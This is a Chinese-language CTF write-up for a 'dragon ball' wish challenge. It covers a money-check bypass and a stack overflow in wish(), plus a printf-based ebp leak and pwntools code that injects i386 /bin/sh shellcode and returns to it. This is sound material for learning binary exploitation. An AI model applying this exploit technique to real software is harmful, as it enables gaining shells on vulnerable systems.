此题的漏洞主要是在第4个选项,即wish函数中,在里面有栈溢出漏洞,能够利用栈溢出返回到任意地址中。用ida查看程序,需要集齐7龙珠才能许愿。初始有15元,购买1个龙珠5元,出售1个龙珠3元,在购买时进行下述检查:
1 2 3 4 if  ( !money )  return  puts ("You don't have enough money." ); money -= 5 ; ++dragon_ball_num; 
只要金钱不为0,就可以一直购买,因此先购买1个龙珠、卖出1个龙珠,然后再连续购买7个龙珠即可。
1 2 3 4 buy() sell() for  i in  range(0 , 7 ):    buy() 
保护措施如下:
1 2 3 4 5 6 Arch:     i386-32-little RELRO:    Partial RELRO Stack:    No canary found NX:       NX disabled PIE:      No PIE (0x8048000) RWX:      Has RWX segments 
因此我们可以让程序返回到栈上去执行我们注入的shellcode。使用pattern获取返回值的偏移,为0xa4。wish函数中,两次输入长度分别为0x64和0x40,使用pwntool生成shellcode:
1 asm(shellcraft.i386.linux.sh()) 
shellcode长度为44,两次输入有部分区域重叠,非重叠区域为0x68-0x38=48,刚好能够容纳得下shellcode,shellcode能完整的写入。为了使函数能够返回到栈上,我们需要泄漏栈地址信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int  wish ()   char  v1;    int  v2;    memset (&v1, 0 , 0x60 u);   if  ( dragon_ball_num != 7  )     return  puts ("You can't make a wish." );   printf ("Tell me your wish: " );   read_input_raw(&v1, 0x68 );   printf ("Your wish is %s, is it right?\n(Y/N) " , &v1);   read_input_raw(&v2, 0x40 );   return  puts ("OK." ); } 
第一次输入的0x68长度的字符串后正好是ebp地址,因此写入长为0x68的字符串即可让printf函数打印出ebp信息:
1 2 3 4 5 6 p.recvuntil('choice: ' ) p.sendline('4' ) payload = 'A'  * 0x68  p.sendline(payload) p.recvuntil(payload) ebp = u32(p.recv(4 )) 
获取栈信息后构造新的payload拿shell:
1 2 3 4 5 6 7 8 p.recvuntil('choice: ' ) p.sendline('4' ) execve_sh = asm(shellcraft.i386.linux.sh()) payload = execve_sh + 'A'  * (0xa4  - len(execve_sh)) + p32(ebp - 0x88 ) p.sendline(payload) p.interactive() p.close() 
0x88为main函数到shellcode的偏移,因为wish函数栈大小为0x68,main函数为0x20,因此此处为0x88。